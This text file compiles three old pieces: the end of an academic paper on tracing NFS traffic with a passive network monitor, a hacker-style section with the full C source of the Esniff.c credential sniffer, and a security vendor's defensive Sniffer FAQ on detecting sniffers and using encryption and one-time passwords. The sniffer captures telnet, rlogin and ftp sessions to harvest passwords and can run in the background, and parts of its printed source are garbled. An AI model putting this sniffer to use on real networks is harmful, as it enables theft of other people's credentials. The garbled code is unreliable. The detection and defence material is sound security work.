    hits for a typical private works tation in the study.

    Thu 00:00 Thu 06:00 Thu 12:00 Thu 18:00 Fri 00:00 Fri 06:00 Fri 12:00
    Fri 18:00 Sat 00:00 Sat 06:00 Sat 12:00 Sat 18:00 Sun 00:00 Sun 06:00 Sun
    12:00 Sun 18:00 Mon 00:00 Mon 06:00 Mon 12:00 Mon 18:00 Tue 00:00 Tue 06:00
    Tue 12:00 Tue 18:00 Wed 00:00 Wed 06:00 Wed 12:00 Wed 18:00

    1000

    2000

    3000

    4000

    5000

    6000

    Reads/Writes per hour

    Writes

    Reads (all)

    Figure 1 - Read and Write Traffic Over Time

    5.2. File Sharing

    One property observed in the DEC-SRC trace is the tendency of files that are
    used by multiple workstations to make up a significant proportion of read
    traffic but a very small proportion of write traffic. This has important
    implications for a caching strategy, since, when it is true, files that are
    cached at many places very rarely need to be invalidated. Although the
    Princeton computing facility does not have a single workstation per user, a
    similar metric is the degree to which files read by more than one user are
    read and written. In this respect, the Princeton trace is very similar to
    the DEC-SRC trace. Files read by more than one user make up more than 60% of
    read traffic, but less than 2% of write traffic. Files shared by more than
    ten users make up less than .2% of write traffic but still more than 30% of
    read traffic. Figure 3 plots the number of users who have previously read
    each file against the number of reads and writes.

    5.3. File "Entropy"

    Files in the DEC-SRC trace demonstrated a strong tendency to "become"
    read-only as they were read more and more often. That is, the probability
    that the next operation on a given file will overwrite the file drops off
    shar ply in proportion to the number of times it has been read in the past.
    Like the sharing property, this has implications for a caching strategy,
    since the probability that cached data is valid influences the choice of a
    validation scheme. Again, we find this property to be very strong in the
    Princeton trace. For any file access in the trace, the probability that it
    is a write is about 27%. If the file has already been read at least once
    since it was last written to, the write probability drops to 10%. Once the
    file has been read at least five times, the write probability drops below
    1%. Fig ure 4 plots the observed write probability against the number of
    reads since the last write.

    Thu 00:00 Thu 06:00 Thu 12:00 Thu 18:00 Fri 00:00 Fri 06:00 Fri 12:00
    Fri 18:00 Sat 00:00 Sat 06:00 Sat 12:00 Sat 18:00 Sun 00:00 Sun 06:00 Sun
    12:00 Sun 18:00 Mon 00:00 Mon 06:00 Mon 12:00 Mon 18:00 Tue 00:00 Tue 06:00
    Tue 12:00 Tue 18:00 Wed 00:00 Wed 06:00 Wed 12:00 Wed 18:00

    1000

    2000

    3000

    4000

    5000

    Total reads per hour

    Cache Hits (estimated)

    Cache Misses (actual)

    Figure 2 - Cache Hits and Misses Over Time

    6. Conclusions

    Although filesystem traces are a useful tool for the analysis of current and
    proposed systems, the difficulty of collecting meaningful trace data makes
    such traces difficult to obtain. The performance degradation introduced by
    the trace software and the volume of raw data generated makes traces over
    long time periods and outside of comput ing research facilities particularly
    hard to conduct.

    Although not as accurate as direct, kernel-based tracing, a passive network
    monitor such as the one described in this paper can permit tracing of
    distributed systems relatively easily. The ability to limit the data
    collected to a high-level log of only the data required can make it
    practical to conduct traces over several months. Such a long term trace is
    presently being conducted at Princeton as part of the author's research on
    filesystem caching. The non-intrusive nature of the data collection makes
    traces possible at facilities where kernel modification is impracti cal or
    unacceptable.

    It is the author's hope that other sites (particularly those not doing
    computing research) will make use of this toolkit and will make the traces
    available to filesystem researchers.

    7. Availability

    The toolkit, consisting of rpcspy, nfstrace, and several support scripts,
    currently runs under several BSD-derived platforms, including ULTRIX 4.x,
    SunOS 4.x, and IBM-RT/AOS. It is available for anonymous ftp over the
    Internet from samadams.princeton.edu, in the compressed tar file
    nfstrace/nfstrace.tar.Z.

    Thu 00:00 Thu 06:00 Thu 12:00 Thu 18:00 Fri 00:00 Fri 06:00 Fri 12:00
    Fri 18:00 Sat 00:00 Sat 06:00 Sat 12:00 Sat 18:00 Sun 00:00 Sun 06:00 Sun
    12:00 Sun 18:00 Mon 00:00 Mon 06:00 Mon 12:00 Mon 18:00 Tue 00:00 Tue 06:00
    Tue 12:00 Tue 18:00 Wed 00:00 Wed 06:00 Wed 12:00 Wed 18:00 0

    100

    200

    300

    Reads per hour

    Cache Hits (estimated)

    Cache Misses (actual)

    Figure 3 - Cache Hits and Misses Over Time - Private Workstation

    0 5 10 15 20

    n (readers)

    0

    20

    40

    60

    80

    100

    % of Reads and Writes used by &gt; n users

    Reads

    Writes

    Figure 4 - Degree of Sharing for Reads and Writes

    0 5 10 15 20

    Reads Since Last Write

    0.0

    0.1

    0.2

    P(next operation is write)

    Figure 5 - Probability of Write Given &gt;= n Previous Reads

    8. Acknowledgments

    The author would like to gratefully acknowledge Jim Roberts and Steve Beck
    for their help in getting the trace machine up and running, Rafael Alonso
    for his helpful comments and direction, and the members of the pro gram
    committee for their valuable suggestions. Jim Plank deserves special thanks
    for writing jgraph, the software which produced the figures in this paper.

    9. References

    [1] Sandberg, R., Goldberg, D., Kleiman, S., Walsh, D., & Lyon, B. "Design
    and Implementation of the Sun Net work File System." Proc. USENIX, Summer,
    1985.

    [2] Mogul, J., Rashid, R., & Accetta, M. "The Packet Filter: An Efficient
    Mechanism for User-Level Network Code." Proc. 11th ACM Symp. on Operating
    Systems Principles, 1987.

    [3] Ousterhout J., et al. "A Trace-Driven Analysis of the Unix 4.2 BSD File
    System." Proc. 10th ACM Symp. on Operating Systems Principles, 1985.

    [4] Floyd, R. "Short-Term File Reference Patterns in a UNIX Environment,"
    TR-177 Dept. Comp. Sci, U. of Rochester, 1986.

    [5] Baker, M. et al. "Measurements of a Distributed File System," Proc. 13th
    ACM Symp. on Operating Systems Principles, 1991.

    [6] Metcalfe, R. & Boggs, D. "Ethernet: Distributed Packet Switching for
    Local Computer Networks," CACM July, 1976.

    [7] "Etherfind(8) Manual Page," SunOS Reference Manual, Sun Microsystems,
    1988.

    [8] Gusella, R. "Analysis of Diskless Workstation Traffic on an Ethernet,"
    TR-UCB/CSD-87/379, University Of California, Berkeley, 1987.

    [9] "NIT(4) Manual Page," SunOS Reference Manual, Sun Microsystems, 1988.

    [10] "XDR Protocol Specification," Networking on the Sun Workstation, Sun
    Microsystems, 1986.

    [11] "RPC Protocol Specification," Networking on the Sun Workstation, Sun
    Microsystems, 1986.

    [12] "NFS Protocol Specification," Networking on the Sun Workstation, Sun
    Microsystems, 1986.

    [13] Postel, J. "User Datagram Protocol," RFC 768, Network Information
    Center, 1980.

    [14] Blaze, M., and Alonso, R., "Long-Term Caching Strategies for Very Large
    Distributed File Systems," Proc. Summer 1991 USENIX, 1991.

    Matt Blaze is a Ph.D. candidate in Computer Science at Princeton University,
    where he expects to receive his degree in the Spring of 1992. His research
    interests include distributed systems, operating systems, databases, and
    programming environments. His current research focuses on caching in very
    large distributed filesystems. In 1988 he received an M.S. in Computer
    Science from Columbia University and in 1986 a B.S. from Hunter College. He
    can be reached via email at mab@cs.princeton.edu or via US mail at Dept. of
    Computer Science, Princeton University, 35 Olden Street, Princeton NJ
    08544.


























    __________________________________________________________________________

    Ether sniffing:

    Well, ONE way to sniff ether anyway ;)

    What is ethernet sniffing?

    Ethernet sniffing is listening (with software) to the raw ethernet device
    for packets that interest you. When your software sees a packet that fits
    certain criteria, it logs it to a file. The most common criteria for an
    interesting packet is one that contains words like "login" or "password."
    Many ethernet sniffers are available, here are a few that may be on your
    system now:

    OS Sniffer
    ~~ ~~~~~~~
    HP/UX nettl (monitor) & netfmt (display)
    nfswatch /* Available via anonymous ftp */
    Irix nfswatch /* Available via anonymous ftp */
    Etherman
    SunOS etherfind
    nfswatch /* Available via anonymous ftp */
    Solaris snoop
    DOS ETHLOAD /* Available via anonymous ftp as */
    /* ethld104.zip */
    The Gobbler /* Available via anonymous ftp */
    LanPatrol
    LanWatch
    Netmon
    Netwatch
    Netzhack /* Available via anonymous ftp at */
    /* mistress.informatik.unibw-muenchen.de */
    /* /pub/netzhack.mac */
    Macintosh Etherpeek

    Here is source code for an ethernet sniffer:

    /* Esniff.c */

    #include
    #include
    #include

    #include
    #include
    #include
    #include
    #include
    #include
    #include

    #include
    #include
    #include
    #include

    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include

    #include
    #include

    #define ERR stderr

    char *malloc();
    char *device,
    *ProgName,
    *LogName;
    FILE *LOG;
    int debug=0;

    #define NIT_DEV "/dev/nit"
    #define CHUNKSIZE 4096 /* device buffer size */
    int if_fd = -1;
    int Packet[CHUNKSIZE+32];

    void Pexit(err,msg)
    int err; char *msg;
    { perror(msg);
    exit(err); }

    void Zexit(err,msg)
    int err; char *msg;
    { fprintf(ERR,msg);
    exit(err); }

    #define IP ((struct ip *)Packet)
    #define IP_OFFSET (0x1FFF)
    #define SZETH (sizeof(struct ether_header))
    #define IPLEN (ntohs(ip-&gt;ip_len))
    #define IPHLEN (ip-&gt;ip_hl)
    #define TCPOFF (tcph-&gt;th_off)
    #define IPS (ip-&gt;ip_src)
    #define IPD (ip-&gt;ip_dst)
    #define TCPS (tcph-&gt;th_sport)
    #define TCPD (tcph-&gt;th_dport)
    #define IPeq(s,t) ((s).s_addr == (t).s_addr)

    #define TCPFL(FLAGS) (tcph-&gt;th_flags & (FLAGS))

    #define MAXBUFLEN (128)
    time_t LastTIME = 0;

    struct CREC {
    struct CREC *Next,
    *Last;
    time_t Time; /* start time */
    struct in_addr SRCip,
    DSTip;
    u_int SRCport, /* src/dst ports */
    DSTport;
    u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
    u_int Length; /* current data length */
    u_int PKcnt; /* # pkts */
    u_long LASTseq;
    };

    struct CREC *CLroot = NULL;

    char *Symaddr(ip)
    register struct in_addr ip;
    { register struct hostent *he =
    gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

    return( (he)?(he-&gt;h_name):(inet_ntoa(ip)) );
    }

    char *TCPflags(flgs)
    register u_char flgs;
    { static char iobuf[8];
    #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

    SFL(0,TH_FIN, 'F');
    SFL(1,TH_SYN, 'S');
    SFL(2,TH_RST, 'R');
    SFL(3,TH_PUSH,'P');
    SFL(4,TH_ACK, 'A');
    SFL(5,TH_URG, 'U');
    iobuf[6]=0;
    return(iobuf);
    }

    char *SERVp(port)
    register u_int port;
    { static char buf[10];
    register char *p;

    switch(port) {
    case IPPORT_LOGINSERVER: p="rlogin"; break;
    case IPPORT_TELNET: p="telnet"; break;
    case IPPORT_SMTP: p="smtp"; break;
    case IPPORT_FTP: p="ftp"; break;
    default: sprintf(buf,"%u",port); p=buf; break;
    }
    return(p);
    }

    char *Ptm(t)
    register time_t *t;
    { register char *p = ctime(t);
    p[strlen(p)-6]=0; /* strip " YYYY\n" */
    return(p);
    }

    char *NOWtm()
    { time_t tm;
    time(&tm);
    return( Ptm(&tm) );
    }

    #define MAX(a,b) (((a)&gt;(b))?(a):(b))
    #define MIN(a,b) (((a)&lt;(b))?(a):(b))

    /* add an item */
    #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
    register struct CREC *CLtmp = \
    (struct CREC *)malloc(sizeof(struct CREC)); \
    time( &(CLtmp-&gt;Time) ); \
    CLtmp-&gt;SRCip.s_addr = SIP.s_addr; \
    CLtmp-&gt;DSTip.s_addr = DIP.s_addr; \
    CLtmp-&gt;SRCport = SPORT; \
    CLtmp-&gt;DSTport = DPORT; \
    CLtmp-&gt;Length = MIN(LEN,MAXBUFLEN); \
    bcopy( (u_char *)DATA, (u_char *)CLtmp-&gt;Data, CLtmp-&gt;Length); \
    CLtmp-&gt;PKcnt = 1; \
    CLtmp-&gt;Next = CLroot; \
    CLtmp-&gt;Last = NULL; \
    CLroot = CLtmp; \
    }

    register struct CREC *GET_NODE(Sip,SP,Dip,DP)
    register struct in_addr Sip,Dip;
    register u_int SP,DP;
    { register struct CREC *CLr = CLroot;

    while(CLr != NULL) {
    if( (CLr-&gt;SRCport == SP) && (CLr-&gt;DSTport == DP) &&
    IPeq(CLr-&gt;SRCip,Sip) && IPeq(CLr-&gt;DSTip,Dip) )
    break;
    CLr = CLr-&gt;Next;
    }
    return(CLr);
    }

    #define ADDDATA_NODE(CL,DATA,LEN) { \
    bcopy((u_char *)DATA, (u_char *)&CL-&gt;Data[CL-&gt;Length],LEN); \
    CL-&gt;Length += LEN; \
    }

    #define PR_DATA(dp,ln) { \
    register u_char lastc=0; \
    while(ln-- &gt;0) { \
    if(*dp &lt; 32) { \
    switch(*dp) { \
    case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
    break; \
    case '\r': \
    case '\n': fprintf(LOG,"\n : "); \
    break; \
    default : fprintf(LOG,"^%c", (*dp + 64)); \
    break; \
    } \
    } else { \
    if(isprint(*dp)) fputc(*dp,LOG); \
    else fprintf(LOG,"(%d)",*dp); \
    } \
    lastc = *dp++; \
    } \
    fflush(LOG); \
    }

    void END_NODE(CLe,d,dl,msg)
    register struct CREC *CLe;
    register u_char *d;
    register int dl;
    register char *msg;
    {
    fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe-&gt;Time));
    fprintf(LOG," PATH: %s(%s) =&gt;", Symaddr(CLe-&gt;SRCip),SERVp(CLe-&gt;SRCport));
    fprintf(LOG," %s(%s)\n", Symaddr(CLe-&gt;DSTip),SERVp(CLe-&gt;DSTport));
    fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
    NOWtm(),CLe-&gt;PKcnt,(CLe-&gt;Length+dl),msg);
    fprintf(LOG," DATA: ");
    { register u_int i = CLe-&gt;Length;
    register u_char *p = CLe-&gt;Data;
    PR_DATA(p,i);
    PR_DATA(d,dl);
    }

    fprintf(LOG,"\n-- \n");
    fflush(LOG);

    if(CLe-&gt;Next != NULL)
    CLe-&gt;Next-&gt;Last = CLe-&gt;Last;
    if(CLe-&gt;Last != NULL)
    CLe-&gt;Last-&gt;Next = CLe-&gt;Next;
    else
    CLroot = CLe-&gt;Next;
    free(CLe);
    }

    /* 30 mins (x 60 seconds) */
    #define IDLE_TIMEOUT 1800
    #define IDLE_NODE() { \
    time_t tm; \
    time(&tm); \
    if(LastTIMENext; \
    if(CLe-&gt;Time ether_type);

    if(EtherType &lt; 0x600) {
    EtherType = *(u_short *)(cp + SZETH + 6);
    cp+=8; pktlen-=8;
    }

    if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
    return;
    }

    /* ugh, gotta do an alignment :-( */
    bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

    ip = (struct ip *)Packet;
    if( ip-&gt;ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
    return;
    tcph = (struct tcphdr *)(Packet + IPHLEN);

    if(!( (TCPD == IPPORT_TELNET) ||
    (TCPD == IPPORT_LOGINSERVER) ||
    (TCPD == IPPORT_FTP)
    )) return;

    { register struct CREC *CLm;
    register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
    register u_char *p = (u_char *)Packet;

    p += ((IPHLEN * 4) + (TCPOFF * 4));

    if(debug) {
    fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph-&gt;th_flags),length);
    fprintf(LOG,"%s[%s] =&gt; ", inet_ntoa(IPS),SERVp(TCPS));
    fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
    }

    if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

    CLm-&gt;PKcnt++;

    if(length&gt;0)
    if( (CLm-&gt;Length + length) &lt; MAXBUFLEN ) {
    ADDDATA_NODE( CLm, p,length);
    } else {
    END_NODE( CLm, p,length, "DATA LIMIT");
    }

    if(TCPFL(TH_FIN|TH_RST)) {
    END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
    }

    } else {

    if(TCPFL(TH_SYN)) {
    ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
    }

    }

    IDLE_NODE();

    }

    }

    /* signal handler
    */
    void death()
    { register struct CREC *CLe;

    while(CLe=CLroot)
    END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

    fprintf(LOG,"\nLog ended at =&gt; %s\n",NOWtm());
    fflush(LOG);
    if(LOG != stdout)
    fclose(LOG);
    exit(1);
    }

    /* opens network interface, performs ioctls and reads from it,
    * passing data to filter function
    */
    void do_it()
    {
    int cc;
    char *buf;
    u_short sp_ts_len;

    if(!(buf=malloc(CHUNKSIZE)))
    Pexit(1,"Eth: malloc");

    /* this /dev/nit initialization code pinched from etherfind */
    {
    struct strioctl si;
    struct ifreq ifr;
    struct timeval timeout;
    u_int chunksize = CHUNKSIZE;
    u_long if_flags = NI_PROMISC;

    if((if_fd = open(NIT_DEV, O_RDONLY)) &lt; 0)
    Pexit(1,"Eth: nit open");

    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) &lt; 0)
    Pexit(1,"Eth: ioctl (I_SRDOPT)");

    si.ic_timout = INFTIM;

    if(ioctl(if_fd, I_PUSH, "nbuf") &lt; 0)
    Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof(timeout);
    si.ic_dp = (char *)&timeout;
    if(ioctl(if_fd, I_STR, (char *)&si) &lt; 0)
    Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof(chunksize);
    si.ic_dp = (char *)&chunksize;
    if(ioctl(if_fd, I_STR, (char *)&si) &lt; 0)
    Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof(ifr);
    si.ic_dp = (char *)&ifr;
    if(ioctl(if_fd, I_STR, (char *)&si) &lt; 0)
    Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof(if_flags);
    si.ic_dp = (char *)&if_flags;
    if(ioctl(if_fd, I_STR, (char *)&si) &lt; 0)
    Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) &lt; 0)
    Pexit(1,"Eth: ioctl (I_FLUSH)");
    }

    while ((cc = read(if_fd, buf, CHUNKSIZE)) &gt;= 0) {
    register char *bp = buf,
    *bufstop = (buf + cc);

    while (bp &lt; bufstop) {
    register char *cp = bp;
    register struct nit_bufhdr *hdrp;

    hdrp = (struct nit_bufhdr *)cp;
    cp += sizeof(struct nit_bufhdr);
    bp += hdrp-&gt;nhb_totlen;
    filter(cp, (u_long)hdrp-&gt;nhb_msglen);
    }
    }
    Pexit((-1),"Eth: read");
    }
    /* Authorize your proogie,generate your own password and uncomment here */
    /* #define AUTHPASSWD "EloiZgZejWyms" */

    void getauth()
    { char *buf,*getpass(),*crypt();
    char pwd[21],prmpt[81];

    strcpy(pwd,AUTHPASSWD);
    sprintf(prmpt,"(%s)UP? ",ProgName);
    buf=getpass(prmpt);
    if(strcmp(pwd,crypt(buf,pwd)))
    exit(1);
    }
    */
    void main(argc, argv)
    int argc;
    char **argv;
    {
    char cbuf[BUFSIZ];
    struct ifconf ifc;
    int s,
    ac=1,
    backg=0;

    ProgName=argv[0];

    /* getauth(); */

    LOG=NULL;
    device=NULL;
    while((acifr_name;
    }

    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
    (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

    if(!LOG)
    LOG=stdout;

    signal(SIGINT, death);
    signal(SIGTERM,death);
    signal(SIGKILL,death);
    signal(SIGQUIT,death);

    if(backg && debug) {
    fprintf(ERR,"[Cannot bg with debug on]\n");
    backg=0;
    }

    if(backg) {
    register int s;

    if((s=fork())&gt;0) {
    fprintf(ERR,"[pid %d]\n",s);
    exit(0);
    } else if(s&lt;0)
    Pexit(1,"fork");

    if( (s=open("/dev/tty",O_RDWR))&gt;0 ) {
    ioctl(s,TIOCNOTTY,(char *)NULL);
    close(s);
    }
    }
    fprintf(LOG,"\nLog started at =&gt; %s [pid %d]\n",NOWtm(),getpid());
    fflush(LOG);

    do_it();
    }

    ___________________________________________________________________________

    Sniffer FAQ:

    Sniffer FAQ

    Version: 1.7
    -------------------------------------------------------------------------------
    This Security FAQ is a resource provided by:

    Internet Security Systems, Inc.
    2000 Miller Court West Tel: (770) 441-2531
    Norcross, Georgia 30071 Fax: (770) 441-2431

    - Internet Scanner ... the most comprehensive "attack simulator"
    available. -

    -------------------------------------------------------------------------------
    To get the newest updates of Security files check the following services:

    mail info@iss.net with "send index" in message
    http://iss.net/
    ftp iss.net /pub/

    -------------------------------------------------------------------------------
    This Sniffer FAQ will hopefully give administrators a clear understanding of
    sniffing problems and hopefully possible solutions to follow up with. Sniffers
    is one of the main causes of mass break-ins on the Internet today.

    This FAQ will be broken down into:

    * What a sniffer is and how it works
    * Where are sniffers available
    * How to detect if a machine is being sniffed
    * Stopping sniffing attacks:
    o Active hubs
    o Encryption
    o Kerberos
    o One-time password technology
    o Non-promiscuous interfaces

    -------------------------------------------------------------------------------

    What a sniffer is and how it works

    Unlike telephone circuits, computer networks are shared communication channels.
    It is simply too expensive to dedicate local loops to the switch (hub) for each
    pair of communicating computers. Sharing means that computers can receive
    information that was intended for other machines. To capture the information
    going over the network is called sniffing.

    Most popular way of connecting computers is through ethernet. Ethernet protocol
    works by sending packet information to all the hosts on the same circuit. The
    packet header contains the proper address of the destination machine. Only the
    machine with the matching address is suppose to accept the packet. A machine
    that is accepting all packets, no matter what the packet header says, is said
    to be in promiscuous mode.

    Because, in a normal networking environment, account and password information
    is passed along ethernet in clear-text, it is not hard for an intruder once
    they obtain root to put a machine into promiscuous mode and by sniffing,
    compromise all the machines on the net.

    -------------------------------------------------------------------------------

    Where are sniffers available

    Sniffing is one of the most popular forms of attacks used by hackers. One
    special sniffer, called Esniff.c, is very small, designed to work on Sunos, and
    only captures the first 300 bytes of all telnet, ftp, and rlogin sessions. It
    was published in Phrack, one of the most widely read freely available
    underground hacking magazines. You can find Phrack on many FTP sites. Esniff.c
    is also available on many FTP sites such as coombs.anu.edu.au:/pub/net/log.

    You may want to run Esniff.c on an authorized network to quickly see how
    effective it is in compromising local machines.

    Other sniffers that are widely available which are intended to debug network
    problems are:

    * Etherfind on SunOs4.1.x
    * Snoop on Solaris 2.x and SunOs 4.1 (on ftp playground.sun.com)
    * Tcpdump 3.0 uses bpf for a multitude of platforms.
    * Packetman, Interman, Etherman, Loadman works on the following platforms:
    SunOS, Dec-Mips, SGI, Alpha, and Solaris. It is available on
    ftp.cs.curtin.edu.au:/pub/netman/[sun4c|dec-mips|sgi|alpha|solaris2]/
    [etherman-1.1a|interman-1.1|loadman-1.0|packetman-1.1].tar.Z
    Packetman was designed to capture packets, while Interman, Etherman, and
    Loadman monitor traffic of various kinds.

    DOS based sniffers

    * Gobbler for IBM DOS Machines
    * ethdump v1.03
    Available on ftp
    ftp.germany.eu.net:/pub/networking/inet/ethernet/ethdp103.zip
    * ethload v1.04
    Companion utility to a ethernet monitor. Available on ftp
    ftp.germany.eu.net:/pub/networking/monitoring/ethload/ethld104.zip

    Commercial Sniffers are available at:

    * Network General.

    Network General produces a number of products. The most
    important are the Expert Sniffer, which not only sniffs on the
    wire, but also runs the packet through a high-performance expert
    system, diagnosing problems for you. There is an extension onto
    this called the "Distributed Sniffer System" that allows you to
    put the console to the expert sniffer on you Unix workstation
    and to distribute the collection agents at remote sites.

    * Microsoft's Net Monitor

    " My commercial site runs many protocols on one wire - NetBeui,
    IPX/SPX, TCP/IP, 802.3 protocols of various flavors, most
    notably SNA. This posed a big problem when trying to find a
    sniffer to examine the network problems we were having, since I
    found that some sniffers that understood Ethernet II parse out
    some 802.3 traffic as bad packets, and vice versa. I found that
    the best protocol parser was in Microsoft's Net Monitor product,
    also known as Bloodhound in its earlier incarnations. It is able
    to correctly identify such oddities as NetWare control packets,
    NT NetBios name service broadcasts, etc, which etherfind on a
    Sun simply registered as type 0000 packet broadcasts. It
    requires MS Windows 3.1 and runs quite fast on a HP XP60 Pentium
    box. Top level monitoring provides network statistics and
    information on conversations by mac address (or hostname, if you
    bother with an ethers file). Looking at tcpdump style details is
    as simple as clicking on a conversation. The filter setup is
    also one of the easiest to implement that I've seen, just click
    in a dialog box on the hosts you want to monitor. The number of
    bad packets it reports on my network is a tiny fraction of that
    reported by other sniffers I've used. One of these other
    sniffers in particular was reporting a large number of bad
    packets with src mac addresses of aa:aa:aa:aa:aa:aa but I don't
    see them at all using the MS product. - Anonymous

    -------------------------------------------------------------------------------

    How to detect a sniffer running.

    To detect a sniffing device that only collects data and does not respond to any
    of the information, requires physically checking all your ethernet connections
    by walking around and checking the ethernet connections individually.

    It is also impossible to remotely check by sending a packet or ping if a
    machine is sniffing.

    A sniffer running on a machine puts the interface into promiscuous mode, which
    accepts all the packets. On some Unix boxes, it is possible to detect a
    promiscuous interface. It is possible to run a sniffer in non-promiscuous mode,
    but it will only capture sessions from the machine it is running on. It is also
    possible for the intruder to do similiar capture of sessions by trojaning many
    programs such as sh, telnet, rlogin, in.telnetd, and so on to write a log file
    of what the user did. They can easily watch the tty and kmem devices as well.
    These attacks will only compromise sessions coming from that one machine, while
    promiscuous sniffing compromises all sessions on the ethernet.

    For SunOs, NetBSD, and other possible BSD derived Unix systems, there is a
    command

    "ifconfig -a"

    that will tell you information about all the interfaces and if they are in
    promiscuous mode. DEC OSF/1 and IRIX and possible other OSes require the device
    to be specified. One way to find out what interface is on the system, you can
    execute:

    # netstat -r
    Routing tables

    Internet:
    Destination Gateway Flags Refs Use Interface
    default iss.net UG 1 24949 le0
    localhost localhost UH 2 83 lo0

    Then you can test for each interface by doing the following command:

    #ifconfig le0
    le0: flags=8863&lt;UP,BROADCAST,NOTRAILERS,RUNNING,PROMISC,MULTICAST&gt;
    inet 127.0.0.1 netmask 0xffffff00 broadcast 255.0.0.1

    Intruders often replace commands such as ifconfig to avoid detection. Make sure
    you verify its checksum.

    There is a program called cpm available on ftp.cert.org:/pub/tools/cpm that
    only works on Sunos and is suppose to check the interface for promiscuous flag.

    Ultrix can possibly detect someone running a sniffer by using the commands
    pfstat and pfconfig.

    pfconfig allows you to set who can run a sniffer
    pfstat shows you if the interface is in promiscuous mode.

    These commands only work if sniffing is enabled by linking it into the kernel.
    by default, the sniffer is not linked into the kernel. Most other Unix systems,
    such as Irix, Solaris, SCO, etc, do not have any flags indication whether they
    are in promiscuous mode or not, therefore an intruder could be sniffing your
    whole network and there is no way to detect it.

    Often a sniffer log becomes so large that the file space is all used up. On a
    high volume network, a sniffer will create a large load on the machine. These
    sometimes trigger enough alarms that the administrator will discover a sniffer.
    I highly suggest using lsof (LiSt Open Files) available from
    coast.cs.purdue.edu:/pub/Purdue/lsof for finding log files and finding programs
    that are accessing the packet device such as /dev/nit on SunOs.

    There is no commands I know of to detect a promiscuous IBM PC compatible
    machine, but they atleast usually do not allow command execution unless from
    the console, therefore remote intruders can not turn a PC machine into a
    sniffer without inside assistance.

    -------------------------------------------------------------------------------

    Stopping sniffing attacks

    Active hubs send to each system only packets intended for it rendering
    promiscuous sniffing useless. This is only effective for 10-Base T.

    The following vendors have available active hubs:

    * 3Com
    * HP

    -------------------------------------------------------------------------------

    Encryption

    There are several packages out there that allow encryption between connections
    therefore an intruder could capture the data, but could not decypher it to make
    any use of it.

    Some packages available are:

    * deslogin is one package available at ftp
    coast.cs.purdue.edu:/pub/tools/unix/deslogin .

    * swIPe is another package available at
    ftp.csua.berkeley.edu:/pub/cypherpunks/swIPe/

    * Netlock encrypts all (tcp, udp, and raw ip based) communications
    transparently. It has automatic (authenticated Diffie-Helman) distibuted
    key management mechanism for each host and runs on the SUN 4.1 and HP 9.x
    systems. The product comes with a Certification Authority Management
    application which generates host certificates (X.509) used for
    authentication between the hosts. and provides centralized control of each
    Hosts communications rules.

    The product is built by Hughes Aircraft and they can be reached at
    800-825-LOCK or email at netlock@mls.hac.com.

    -------------------------------------------------------------------------------

    Kerberos

    Kerberos is another package that encrypts account information going over the
    network. Some of its draw backs are that all the account information is held on
    one host and if that machine is compromised, the whole network is vulnerable.
    It is has been reported a major difficulty to set up. Kerberos comes with a
    stream-encrypting rlogind, and stream-encrypting telnetd is available. This
    prevents intruders from capturing what you did after you logged in.

    There is a Kerberos FAQ at ftp at rtfm.mit.edu in
    /pub/usenet/comp.protocols/kerberos/Kerberos_Users__Frequently_Asked_Questions_1.11

    -------------------------------------------------------------------------------

    One time password technology

    S/key and other one time password technology makes sniffing account information
    almost useless. S/key concept is having your remote host already know a
    password that is not going to go over insecure channels and when you connect,
    you get a challenge. You take the challenge information and password and plug
    it into an algorithm which generates the response that should get the same
    answer if the password is the same on the both sides. Therefore the password
    never goes over the network, nor is the same challenge used twice. Unlike
    SecureID or SNK, with S/key you do not share a secret with the host. S/key is
    available on ftp:thumper.bellcore.com:/pub/nmh/skey

    Other one time password technology is card systems where each user gets a card
    that generates numbers that allow access to their account. Without the card, it
    is improbable to guess the numbers.

    The following are companies that offer solutions that are provide better
    password authenication (ie, handheld password devices):

    Secure Net Key (SNK)

    Digital Pathways, Inc.
    201 Ravendale Dr. Mountainview, Ca.
    97703-5216 USA

    Phone: 415-964-0707 Fax: (415) 961-7487

    Secure ID

    Security Dynamics,
    One Alewife Center
    Cambridge, MA 02140-2312
    USA Phone: 617-547-7820
    Fax: (617) 354-8836
    Secure ID uses time slots as authenication rather than challenge/response.

    ArKey and OneTime Pass

    Management Analytics
    PO Box 1480
    Hudson, OH 44236
    Email: fc@all.net
    Tel:US+216-686-0090 Fax: US+216-686-0092

    OneTime Pass (OTP):
    This program provides unrestricted one-time pass codes on a user by user basis
